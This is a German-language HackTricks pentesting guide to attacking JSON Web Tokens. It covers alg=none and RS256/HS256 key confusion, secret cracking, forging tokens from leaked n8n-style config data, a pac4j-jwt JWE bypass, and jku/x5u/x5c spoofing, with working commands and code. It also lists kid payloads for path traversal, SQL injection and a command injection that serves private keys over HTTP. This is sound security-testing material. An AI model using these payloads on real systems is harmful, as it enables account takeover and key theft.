JWT Vulnerabilities (Json Web Tokens)

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Teil dieses Beitrags basiert auf dem großartigen Post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor des großartigen Tools zum pentest von JWTs https://github.com/ticarpi/jwt_tool

Quick Wins

Führe jwt_tool mit dem Modus All Tests! aus und warte auf grüne Zeilen

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Wenn du Glück hast, findet das Tool einen Fall, in dem die Webanwendung das JWT falsch überprüft:

Dann kannst du die Anfrage in deinem Proxy suchen oder das für diese Anfrage verwendete JWT mit dem jwt_ tool dumpen:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Praktischer JWT-Assessments-Workflow

  • Den Session-Control-Umfang bestimmen: Wähle eine benutzerspezifische Anfrage (z. B. Profil, Billing). Entferne Cookies/Headers nacheinander, bis die Anfrage abgelehnt wird, um zu isolieren, welches Token bzw. welche Tokens tatsächlich die Authorization steuern.
  • JWTs im Traffic finden: Sie liegen oft in Authorization: Bearer <JWT>, erscheinen aber auch in benutzerdefinierten Headers oder Cookies. Wenn Burp sie nicht hervorhebt, nutze Target → Site map → Engagement tools → Search mit Regex-Patterns wie:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Dekodieren und enumerieren: Nutze Burp JWT Editor oder python3 jwt_tool.py <JWT>, um Header/Payload zu lesen. Beachte alg, exp/Token-Lebensdauer und authn/authz-steuernde Claims (role, id, username, email, etc.).
  • Sanity-Check der Signature Enforcement: Verändere oder lösche ein paar Bytes im Signature-Teil und replaye. Wird die Anfrage akzeptiert, fehlt die Signature Verification, und du kannst Payload-Claims direkt manipulieren.
  • Ziel: Ändere Payload-Claims, um Privilegien zu eskalieren; jeder der folgenden Angriffe zielt darauf ab, dass der Server einen manipulierten Payload akzeptiert, indem schwache Verification, schwache Secrets oder unsichere Key-Auswahl ausgenutzt werden.

Daten manipulieren, ohne etwas zu ändern

Du kannst einfach die Daten manipulieren und die Signature unverändert lassen und prüfen, ob der Server die Signature prüft. Versuche zum Beispiel, deinen Benutzernamen in “admin” zu ändern.

Wird das Token geprüft?

Um zu prüfen, ob die Signature eines JWT verifiziert wird:

  • Eine Fehlermeldung deutet auf eine laufende Verification hin; sensible Details in ausführlichen Fehlermeldungen sollten geprüft werden.
  • Eine Änderung der zurückgegebenen Seite deutet ebenfalls auf Verification hin.
  • Keine Änderung deutet darauf hin, dass keine Verification erfolgt; dann ist es sinnvoll, mit der Manipulation von Payload-Claims zu experimentieren.

Origin

Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generiert wurde, indem du den Request-Verlauf des Proxys prüfst.

  • Tokens, die zuerst auf der Client-Seite sichtbar sind, deuten darauf hin, dass der Key möglicherweise im clientseitigen Code offengelegt ist, was weitere Untersuchung erfordert.
  • Tokens, die serverseitig entstehen, deuten auf einen sicheren Prozess hin.

Dauer

Prüfe, ob das Token länger als 24h gültig ist … vielleicht läuft es nie ab. Wenn es ein exp-Feld gibt, prüfe, ob der Server es korrekt verarbeitet.

Brute-force HMAC secret

Siehe diese Seite.

Wenn der Header HS256 verwendet, speichere das Token in einer Datei und versuche offline zu cracken:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Sobald das Secret wiederhergestellt ist, lade es als symmetrischen key in Burp JWT Editor und signiere die geänderten claims erneut.

JWT-Secrets aus geleakten config- + DB-Daten ableiten

Wenn ein arbitrary file read (oder ein backup leak) sowohl application encryption material als auch user records offenlegt, kannst du manchmal das JWT signing secret rekonstruieren und session cookies fälschen, ohne ein plaintext password zu kennen. Beobachtetes Muster in workflow automation stacks:

  1. Leake den app key (z. B. encryptionKey) aus einer config file.
  2. Leake die user table, um email, password_hash und user_id zu erhalten.
  3. Leite das signing secret aus dem key ab und dann den pro-user hash, der im JWT payload erwartet wird:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Lege das signierte Token in den Session-Cookie ab (z. B. n8n-auth), um den User/Admin-Account zu imitieren, selbst wenn der Passwort-Hash gesalzen ist.

Ändere den Algorithmus auf None

Setze den verwendeten Algorithmus auf “None” und entferne den Signaturteil.

Nutze die Burp-Extension “JSON Web Token”, um diese Vulnerability zu testen und verschiedene Werte innerhalb des JWT zu ändern (sende die Request an Repeater und im “JSON Web Token”-Tab kannst du die Werte des Tokens modifizieren. Du kannst auch auswählen, den Wert des “Alg”-Feldes auf “None” zu setzen).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

Einige Stacks erwarten ein signiertes inneres JWT, das in einem verschlüsselten JWE verpackt ist. In verwundbaren pac4j-jwt-Versionen (vor 4.5.9, 5.7.9 und 6.3.3) entschlüsselt der Authenticator das JWE, versucht, den Payload als signiertes JWT zu parsen, und prüft die Signatur nur, wenn diese Konvertierung erfolgreich ist. Wenn der entschlüsselte Payload ein PlainJWT (alg=none) ist, gibt toSignedJWT() null zurück und der Pfad zur Signaturprüfung wird übersprungen.

  • Pre-reqs:
  • Die Anwendung akzeptiert JWE bearer tokens
  • Der Server-Public-Key ist exposed (typischerweise über JWKS wie /.well-known/jwks.json oder /api/auth/jwks)
  • Authorization hängt von vom Angreifer kontrollierbaren Claims wie sub, role, groups oder scope ab
  • Impact: verschlüssele ein Token für jeden User/Rolle fälschen, nur mit dem Public Key

Praktische Checks:

  • Untersuche die Frontend-/API-Dokumentation nach Hinweisen wie RSA-OAEP-256, A128GCM/A256GCM, jwks oder Kommentaren wie “inner JWT is signed”.
  • Hole das JWKS und importiere den RSA-Key aus n/e.
  • Erzeuge das innere Token manuell als base64url(header) + "." + base64url(payload) + ".", sodass die Signatur leer ist.
  • Verschlüssele dieses Plaintext-JWT als JWE mit dem exposed Public Key und sende es erneut als Bearer-Token.

Minimal PlainJWT construction:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

Verschlüssele es in ein kompaktes JWE mit dem RSA-Public-Key aus JWKS:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Hinweise:

  • Wenn deine JWT-Bibliothek sich weigert, alg=none auszugeben, generiere das kompakte Token manuell wie oben gezeigt.
  • Der enc-Wert muss zu einem vom Ziel akzeptierten Wert passen; Frontend-Kommentare und legitime Tokens geben das oft preis.
  • In SPAs solltest du prüfen, ob das Bearer-Token in sessionStorage, localStorage oder einem JS-zugänglichen Cookie gespeichert ist; das platzieren des gefälschten Tokens dort reicht oft aus, um den Bypass schnell zu verifizieren.

Ändere den Algorithmus von RS256(asymmetric) zu HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

Der Algorithmus HS256 verwendet den Secret Key, um jede Nachricht zu signieren und zu verifizieren.
Der Algorithmus RS256 verwendet den Private Key, um die Nachricht zu signieren, und verwendet den Public Key für die Authentifizierung.

Wenn du den Algorithmus von RS256 zu HS256 änderst, verwendet der Back end Code den Public Key als Secret Key und nutzt dann den HS256-Algorithmus, um die Signatur zu verifizieren.

Dann könnten wir mithilfe des Public Key und durch das Ändern von RS256 zu HS256 eine gültige Signatur erstellen. Du kannst das Zertifikat des Webservers mit diesem Befehl abrufen:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

Neuer public key im Header

Ein Angreifer bettet einen neuen key in den Header des token ein, und der server verwendet diesen neuen key, um die signature zu verifizieren (CVE-2018-0114).

Dies kann mit der Burp-Erweiterung “JSON Web Tokens” gemacht werden.
(Sende die request an den Repeater, wähle im JSON Web Token-Tab “CVE-2018-0114” und sende die request).

JWKS Spoofing

Die Anweisungen beschreiben eine Methode, um die Sicherheit von JWT tokens zu prüfen, insbesondere solcher, die einen “jku”-Header-Claim verwenden. Dieser Claim sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den public key enthält, der für die Verifikation des token benötigt wird.

  • Prüfen von Tokens mit “jku”-Header:

  • Verifiziere die URL des “jku”-Claims, um sicherzustellen, dass sie zur passenden JWKS-Datei führt.

  • Ändere den “jku”-Wert des token so, dass er auf einen kontrollierten web service zeigt, wodurch Traffic beobachtet werden kann.

  • Monitoring für HTTP Interaktion:

  • Das Beobachten von HTTP requests an deine angegebene URL zeigt, dass der server versucht, keys von deinem bereitgestellten link abzurufen.

  • Wenn du jwt_tool für diesen Prozess verwendest, ist es wichtig, die jwtconf.ini-Datei mit deinem persönlichen JWKS-Standort zu aktualisieren, um das testing zu erleichtern.

  • Command für jwt_tool:

  • Führe den folgenden command aus, um das Szenario mit jwt_tool zu simulieren:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Überblick

Ein optionaler header claim namens kid wird verwendet, um einen bestimmten key zu identifizieren, was besonders wichtig in Umgebungen ist, in denen mehrere keys für die token signature verification existieren. Dieser claim hilft bei der Auswahl des passenden key, um die signature eines token zu verifizieren.

Key über “kid” aufdecken

Wenn der kid-Claim im Header vorhanden ist, wird empfohlen, das web directory nach der entsprechenden Datei oder ihren Varianten zu durchsuchen. Wenn beispielsweise "kid":"key/12345" angegeben ist, sollten die Dateien /key/12345 und /key/12345.pem im web root gesucht werden.

Path Traversal mit “kid”

Der kid-Claim kann auch ausgenutzt werden, um durch das file system zu navigieren und möglicherweise die Auswahl einer beliebigen Datei zu ermöglichen. Es ist möglich, auf Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe auszuführen, indem der kid-Wert geändert wird, um bestimmte Dateien oder services anzuvisieren. Das Manipulieren des JWT, um den kid-Wert zu ändern und dabei die originale signature beizubehalten, kann mit dem -T-Flag in jwt_tool erreicht werden, wie unten gezeigt:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Durch das Anvisieren von Dateien mit vorhersagbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Beispielsweise kann die Datei /proc/sys/kernel/randomize_va_space in Linux-Systemen, von der bekannt ist, dass sie den Wert 2 enthält, im kid-Parameter mit 2 als symmetrischem Passwort für die JWT-Generierung verwendet werden.

Ein praktisches Muster für fragiles File-System-Key-Loading ist, einen HS256-Key mit JWK k auf AA== zu setzen, kid auf einen Traversal wie ../../../../../../../dev/null zu setzen und neu zu signieren — manche Implementierungen behandeln die leere Datei als gültiges HMAC-Secret und akzeptieren gefälschte Tokens.

SQL Injection via “kid”

Wenn der Inhalt des kid-Claims verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL Injection durch Modifizieren des kid-Payloads ermöglicht werden. Ein Beispiel-Payload, der SQL Injection verwendet, um den JWT-Signing-Prozess zu verändern, umfasst:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Diese Änderung erzwingt die Verwendung eines bekannten Secret Keys, ATTACKER, für das JWT-Signing.

OS Injection through “kid”

Ein Szenario, in dem der kid-Parameter einen Dateipfad angibt, der innerhalb eines Command-Execution-Kontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Einschleusen von Commands in den kid-Parameter ist es möglich, private Keys offenzulegen. Ein Beispiel-Payload zum Erreichen von RCE und Key Exposure ist:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku steht für JWK Set URL.
Wenn der Token einen “jku” Header-Claim verwendet, dann prüfe die angegebene URL. Diese sollte auf eine URL zeigen, die die JWKS-Datei enthält, welche den Public Key zur Verifizierung des Tokens enthält. Manipuliere den Token so, dass der jku-Wert auf einen Webservice zeigt, dessen Traffic du überwachen kannst.

Zuerst musst du ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Dann kannst du zum Beispiel jwt.io verwenden, um das neue JWT mit den erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter jku auf das erstellte Zertifikat zu setzen. Um ein gültiges jku-Zertifikat zu erstellen, kannst du das ursprüngliche herunterladen und die benötigten Parameter ändern.

Du kannst die Parameter “e” und “n” aus einem öffentlichen Zertifikat mithilfe von: erhalten

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Wenn der Verifier Key-Material remote abruft, bette eine Burp Collaborator URL in jku/x5u ein mit JWT Editor → Attack → Embed Collaborator payload. Jeder Callback bestätigt SSRF-ähnlichen Key-Retrieval; hoste dann dein eigenes JWKS/PEM unter dieser URL und signiere mit deinem private key neu, damit der Service attacker-minted tokens validiert.

x5u

X.509 URL. Eine URI, die auf einen Satz von X.509 (einem Standard für Certificate-Formate) public certificates verweist, die im PEM-Format codiert sind. Das erste Zertifikat im Satz muss dasjenige sein, das zur Signierung dieses JWT verwendet wurde. Die nachfolgenden Zertifikate signieren jeweils das vorherige und vervollständigen so die certificate chain. X.509 ist in RFC 5280 definiert. Für die Übertragung der Zertifikate ist Transport Security erforderlich.

Versuche, diesen Header in eine URL unter deiner Kontrolle zu ändern und prüfe, ob eine Anfrage empfangen wird. In diesem Fall könntest du das JWT tampern.

Um einen neuen Token mit einem von dir kontrollierten Zertifikat zu forge, musst du das Zertifikat erstellen und die public und private keys extrahieren:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Dann kannst du zum Beispiel jwt.io verwenden, um das neue JWT mit den erstellten public und private keys zu erstellen und den Parameter x5u auf das erstellte certificate .crt zu setzen.

Du kannst auch beide dieser vulns für SSRFs ausnutzen.

x5c

Dieser Parameter kann das certificate in base64 enthalten:

Wenn der attacker ein self-signed certificate generiert und einen forged token mit dem entsprechenden private key erstellt und den Wert des “x5c”-Parameters durch das neu generierte certificate ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, dann würde der forged token im Wesentlichen vom server akzeptiert werden.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Eingebetteter Public Key (CVE-2018-0114)

Wenn das JWT einen Public Key eingebettet hat, wie im folgenden Szenario:

Mit dem folgenden nodejs-Skript ist es möglich, aus diesen Daten einen Public Key zu erzeugen:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Es ist möglich, ein neues Private/Public-Key-Paar zu generieren, den neuen Public Key in das Token einzubetten und ihn zu verwenden, um eine neue Signatur zu erzeugen:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Du kannst “n” und “e” mit diesem nodejs-Skript erhalten:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, mit dem öffentlichen und privaten Schlüssel sowie den neuen “n”- und “e”-Werten kannst du jwt.io verwenden, um ein neues gültiges JWT mit beliebigen Informationen zu fälschen.

ES256: Den privaten Schlüssel mit demselben Nonce offenlegen

Wenn manche Anwendungen ES256 verwenden und denselben Nonce für die Generierung von zwei jwts nutzen, kann der private Schlüssel wiederhergestellt werden.

Hier ist ein Beispiel: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

Der JTI (JWT ID) Claim bietet einen eindeutigen Identifier für ein JWT Token. Er kann verwendet werden, um zu verhindern, dass der Token erneut abgespielt wird.
Stell dir jedoch eine Situation vor, in der die maximale Länge der ID 4 ist (0001-9999). Die Anfrage 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend also die ID bei jeder Anfrage inkrementiert, könntest du dies missbrauchen, um eine Anfrage zu replayen (wobei zwischen jedem erfolgreichen Replay 10000 Anfragen gesendet werden müssen).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

Es wurde beobachtet, dass einige web applications auf einen vertrauenswürdigen JWT Service für die Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das vom JWT Service für einen Client erzeugt wurde, von einem anderen Client desselben JWT Service akzeptiert wurde. Wenn die Ausstellung oder Erneuerung eines JWT über einen Drittanbieter-Service beobachtet wird, sollte geprüft werden, ob es möglich ist, sich bei einem anderen Client dieses Services mit demselben Benutzernamen/derselben E-Mail-Adresse zu registrieren. Anschließend sollte versucht werden, den erhaltenen Token in einer Anfrage an das Ziel zu replayen, um zu sehen, ob er akzeptiert wird.

  • Ein kritisches Problem kann durch die Annahme deines Tokens angezeigt werden, was potenziell das Spoofing des Kontos jedes Benutzers ermöglichen könnte. Allerdings sollte beachtet werden, dass für umfangreichere tests möglicherweise eine Erlaubnis erforderlich ist, wenn du dich bei einer Drittanbieter-application registrierst, da dies in eine rechtliche Grauzone fallen kann.

Expiry Check of Tokens

Das Ablaufdatum des Tokens wird mithilfe des “exp”-Payload-Claims geprüft. Da JWTs oft ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Replaying des JWT eines anderen Benutzers eine Impersonation dieses Benutzers ermöglichen. Die JWT RFC empfiehlt, JWT replay attacks zu mindern, indem der “exp”-Claim verwendet wird, um eine Ablaufzeit für den Token festzulegen. Darüber hinaus ist es entscheidend, dass die Anwendung die relevanten Prüfungen implementiert, um die Verarbeitung dieses Werts und die Ablehnung abgelaufener Tokens sicherzustellen. Wenn der Token einen “exp”-Claim enthält und die Testzeit es erlaubt, ist es ratsam, den Token zu speichern und ihn nach Ablauf der Zeit erneut zu replayen. Der Inhalt des Tokens, einschließlich Timestamp-Parsing und Ablaufprüfung (Timestamp in UTC), kann mithilfe des -R-Flags von jwt_tool gelesen werden.

  • Ein Sicherheitsrisiko kann bestehen, wenn die Anwendung den Token weiterhin validiert, da dies bedeuten könnte, dass der Token niemals ablaufen kann.

Tools

  • jwt_tool – Dekodierung, Manipulation von Claims/Headers, Offline-Cracking des Secrets (-C) und halbautomatisierte Angriffsmodes (-M at).
  • Burp JWT Editor – Dekodieren/neu signieren in Repeater, benutzerdefinierte Keys generieren und integrierte Angriffe ausführen (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-beschleunigtes HS256 Secret Cracking nach dem Export von JWTs in eine Wortliste.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks